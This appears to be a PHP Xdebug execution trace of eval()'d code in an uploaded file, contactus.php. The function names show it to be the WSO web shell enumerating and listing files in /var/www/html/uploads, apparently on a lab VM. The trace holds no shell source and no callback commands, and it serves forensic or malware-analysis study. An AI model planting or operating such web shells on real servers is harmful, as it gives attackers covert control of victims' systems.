4	130	0	0.013955	1037760	fileowner	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	'data'
4	130	1	0.013971	1037768
4	130	R			0
4	131	0	0.013983	1037728	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	0
4	131	1	0.014008	1038528
4	131	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	132	0	0.014049	1037744	filegroup	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	'data'
4	132	1	0.014063	1037784
4	132	R			0
4	133	0	0.014076	1037744	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	0
4	133	1	0.014098	1038400
4	133	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	134	0	0.014134	1038264	filemtime	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	1	'/var/www/html/uploads/data'
4	134	1	0.014151	1038328
4	134	R			1676242219
4	135	0	0.014164	1038232	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676242219
4	135	1	0.014196	1038560
4	135	R			'2023-02-12 17:50:19'
4	136	0	0.014211	1038544	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	661	1	'/var/www/html/uploads/data'
5	137	0	0.014225	1038544	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/data'
5	137	1	0.014241	1038584
5	137	R			TRUE
5	138	0	0.014254	1038544	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/data'
5	138	1	0.014270	1038584
5	138	R			TRUE
5	139	0	0.014283	1038544	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	'/var/www/html/uploads/data'
5	139	1	0.014297	1038584
5	139	R			16895
5	140	0	0.014310	1038544	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	16895
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	349	$i = 'd'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= 'x'
5	140	1	0.014427	1038584
5	140	R			'drwxrwxrwx'
4	136	1	0.014441	1038608
4	136	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	141	0	0.014458	1038608	filesize	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	662	1	'/var/www/html/uploads/data'
4	141	1	0.014471	1038648
4	141	R			4096
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	664	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	142	0	0.014508	1038232	is_file	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	666	1	'/var/www/html/uploads/data'
4	142	1	0.014521	1038272
4	142	R			FALSE
4	143	0	0.014534	1038232	is_link	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	668	1	'/var/www/html/uploads/data'
4	143	1	0.014550	1038272
4	143	R			FALSE
4	144	0	0.014563	1038232	is_dir	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	670	1	'/var/www/html/uploads/data'
4	144	1	0.014576	1038272
4	144	R			TRUE
4	145	0	0.014593	1038176	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	671	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	145	1	0.014617	1038616
4	145	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	671	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i++
4	146	0	0.014689	1038552	fileowner	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	'prepend.php'
4	146	1	0.014706	1038576
4	146	R			0
4	147	0	0.014719	1038536	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	0
4	147	1	0.014743	1039336
4	147	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	148	0	0.014785	1038568	filegroup	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	'prepend.php'
4	148	1	0.014799	1038608
4	148	R			0
4	149	0	0.014811	1038568	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	0
4	149	1	0.014834	1039224
4	149	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	150	0	0.014870	1039104	filemtime	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	1	'/var/www/html/uploads/prepend.php'
4	150	1	0.014892	1039168
4	150	R			1676242219
4	151	0	0.014906	1039064	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676242219
4	151	1	0.014938	1039392
4	151	R			'2023-02-12 17:50:19'
4	152	0	0.014953	1039384	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	661	1	'/var/www/html/uploads/prepend.php'
5	153	0	0.014968	1039384	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/prepend.php'
5	153	1	0.014984	1039424
5	153	R			TRUE
5	154	0	0.014997	1039384	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/prepend.php'
5	154	1	0.015013	1039424
5	154	R			FALSE
5	155	0	0.015027	1039384	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	369	1	'/var/www/html/uploads/prepend.php'
5	155	1	0.015041	1039424
5	155	R			33261
5	156	0	0.015053	1039384	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	369	1	33261
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	347	$i = '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= 'x'
5	156	1	0.015172	1039424
5	156	R			'-rwxr-xr-x'
4	152	1	0.015186	1039448
4	152	R			'<font color=white>-rwxr-xr-x</font>'
4	157	0	0.015203	1039448	filesize	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	662	1	'/var/www/html/uploads/prepend.php'
4	157	1	0.015217	1039488
4	157	R			57
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	664	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4	158	0	0.015257	1039072	is_file	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	666	1	'/var/www/html/uploads/prepend.php'
4	158	1	0.015272	1039112
4	158	R			TRUE
4	159	0	0.015285	1039008	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	667	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	159	1	0.015309	1039448
4	159	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	667	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i++
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	673	GLOBALS['sort'] = [0 => 'name', 1 => 1]
4	160	0	0.015383	1039408	usort	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	680	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'wsoCmp'
5	161	0	0.015419	1039856	wsoCmp	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	680	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6	162	0	0.015448	1039856	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'.htaccess'
6	162	1	0.015462	1039888
6	162	R			'.htaccess'
6	163	0	0.015477	1039856	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'contactus.php'
6	163	1	0.015490	1039888
6	163	R			'contactus.php'
6	164	0	0.015504	1039856	strcmp	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	2	'.htaccess'	'contactus.php'
6	164	1	0.015519	1039920
6	164	R			-1
5	161	1	0.015532	1039856
5	161	R			-1
5	165	0	0.015545	1039856	wsoCmp	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	680	2	['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6	166	0	0.015573	1039856	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'contactus.php'
6	166	1	0.015586	1039888
6	166	R			'contactus.php'
6	167	0	0.015601	1039856	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'prepend.php'
6	167	1	0.015614	1039888
6	167	R			'prepend.php'
6	168	0	0.015628	1039856	strcmp	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	2	'contactus.php'	'prepend.php'
6	168	1	0.015642	1039920
6	168	R			-1
5	165	1	0.015655	1039856
5	165	R			-1
4	160	1	0.015668	1039480
4	160	R			TRUE
4	169	0	0.015681	1039432	usort	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	681	2	[0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'wsoCmp'
5	170	0	0.015714	1039880	wsoCmp	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	681	2	['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	171	0	0.015741	1039880	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'.'
6	171	1	0.015754	1039912
6	171	R			'.'
6	172	0	0.015767	1039880	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'..'
6	172	1	0.015779	1039912
6	172	R			'..'
6	173	0	0.015792	1039880	strcmp	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	2	'.'	'..'
6	173	1	0.015805	1039944
6	173	R			-1
5	170	1	0.015818	1039880
5	170	R			-1
5	174	0	0.015831	1039880	wsoCmp	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	681	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	175	0	0.015861	1039880	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'..'
6	175	1	0.015873	1039912
6	175	R			'..'
6	176	0	0.015886	1039880	strtolower	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	1	'data'
6	176	1	0.015899	1039912
6	176	R			'data'
6	177	0	0.015912	1039880	strcmp	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	676	2	'..'	'data'
6	177	1	0.015926	1039944
6	177	R			-3552051
5	174	1	0.015939	1039880
5	174	R			-3552051
4	169	1	0.015952	1039504
4	169	R			TRUE
4	178	0	0.015965	1039432	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	682	2	[0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4	178	1	0.016014	1039872
4	178	R			[0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	682	$files = [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	683	$l = 0
4	179	0	0.016125	1039512	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.'
4	179	1	0.016139	1039576
4	179	R			'.'
4	180	0	0.016154	1039640	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.'
4	180	1	0.016168	1039832
4	180	R			'.'
4	181	0	0.016183	1039752	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.'
4	181	1	0.016196	1039816
4	181	R			'.'
4	182	0	0.016209	1039816	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'.'
4	182	1	0.016222	1039880
4	182	R			'.'
4	183	0	0.016235	1039880	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'.'
4	183	1	0.016248	1039944
4	183	R			'.'
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	687	$l = 1
4	184	0	0.016273	1039528	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'..'
4	184	1	0.016286	1039592
4	184	R			'..'
4	185	0	0.016299	1039640	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'..'
4	185	1	0.016313	1039832
4	185	R			'..'
4	186	0	0.016327	1039752	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'..'
4	186	1	0.016340	1039816
4	186	R			'..'
4	187	0	0.016352	1039880	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'..'
4	187	1	0.016365	1039944
4	187	R			'..'
4	188	0	0.016378	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'..'
4	188	1	0.016390	1040008
4	188	R			'..'
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	687	$l = 0
4	189	0	0.016415	1039512	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'data'
4	189	1	0.016428	1039576
4	189	R			'data'
4	190	0	0.016442	1039640	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'data'
4	190	1	0.016456	1039832
4	190	R			'data'
4	191	0	0.016470	1039752	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'data'
4	191	1	0.018718	1039816
4	191	R			'data'
4	192	0	0.018749	1039880	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'data'
4	192	1	0.018765	1039944
4	192	R			'data'
4	193	0	0.018779	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'data'
4	193	1	0.018793	1040008
4	193	R			'data'
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	687	$l = 1
4	194	0	0.018958	1039528	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.htaccess'
4	194	1	0.018973	1039600
4	194	R			'.htaccess'
4	195	0	0.018987	1039592	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.htaccess'
4	195	1	0.019001	1039664
4	195	R			'.htaccess'
4	196	0	0.019015	1039672	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.htaccess'
4	196	1	0.019030	1039864
4	196	R			'.htaccess'
4	197	0	0.019045	1039656	wsoViewSize	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	64
5	198	0	0.019059	1039656	sprintf	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	332	2	'%u'	64
5	198	1	0.019074	1040040
5	198	R			'64'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	332	$s = '64'
4	197	1	0.019099	1039688
4	197	R			'64 B'
4	199	0	0.019114	1039752	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'.htaccess'
4	199	1	0.019127	1039824
4	199	R			'.htaccess'
4	200	0	0.019141	1039880	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'.htaccess'
4	200	1	0.019154	1039952
4	200	R			'.htaccess'
4	201	0	0.019167	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'.htaccess'
4	201	1	0.019180	1040016
4	201	R			'.htaccess'
4	202	0	0.019194	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'.htaccess'
4	202	1	0.019207	1040016
4	202	R			'.htaccess'
4	203	0	0.019220	1040104	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'.htaccess'
4	203	1	0.019233	1040176
4	203	R			'.htaccess'
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	687	$l = 0
4	204	0	0.019258	1039512	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'contactus.php'
4	204	1	0.019272	1039584
4	204	R			'contactus.php'
4	205	0	0.019286	1039560	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'contactus.php'
4	205	1	0.019299	1039632
4	205	R			'contactus.php'
4	206	0	0.019312	1039640	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'contactus.php'
4	206	1	0.019326	1039832
4	206	R			'contactus.php'
4	207	0	0.019340	1039656	wsoViewSize	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	23689
5	208	0	0.019354	1039656	sprintf	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	332	2	'%u'	23689
5	208	1	0.019368	1040040
5	208	R			'23689'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	332	$s = '23689'
5	209	0	0.019393	1039976	sprintf	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	339	2	'%1.2f'	23.1337890625
5	209	1	0.019408	1040360
5	209	R			'23.13'
4	207	1	0.019421	1039696
4	207	R			'23.13 KB'
4	210	0	0.019435	1039752	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'contactus.php'
4	210	1	0.019449	1039824
4	210	R			'contactus.php'
4	211	0	0.019463	1039880	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'contactus.php'
4	211	1	0.019476	1039952
4	211	R			'contactus.php'
4	212	0	0.019489	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'contactus.php'
4	212	1	0.019502	1040016
4	212	R			'contactus.php'
4	213	0	0.019516	1040072	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'contactus.php'
4	213	1	0.019529	1040144
4	213	R			'contactus.php'
4	214	0	0.019542	1040232	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'contactus.php'
4	214	1	0.019554	1040304
4	214	R			'contactus.php'
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	687	$l = 1
4	215	0	0.019579	1039528	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'prepend.php'
4	215	1	0.019593	1039600
4	215	R			'prepend.php'
4	216	0	0.019607	1039592	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'prepend.php'
4	216	1	0.019623	1039664
4	216	R			'prepend.php'
4	217	0	0.019637	1039672	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'prepend.php'
4	217	1	0.019650	1039864
4	217	R			'prepend.php'
4	218	0	0.019664	1039656	wsoViewSize	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	57
5	219	0	0.019677	1039656	sprintf	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	332	2	'%u'	57
5	219	1	0.019691	1040040
5	219	R			'57'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	332	$s = '57'
4	218	1	0.019716	1039688
4	218	R			'57 B'
4	220	0	0.019729	1039752	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	685	1	'prepend.php'
4	220	1	0.019743	1039824
4	220	R			'prepend.php'
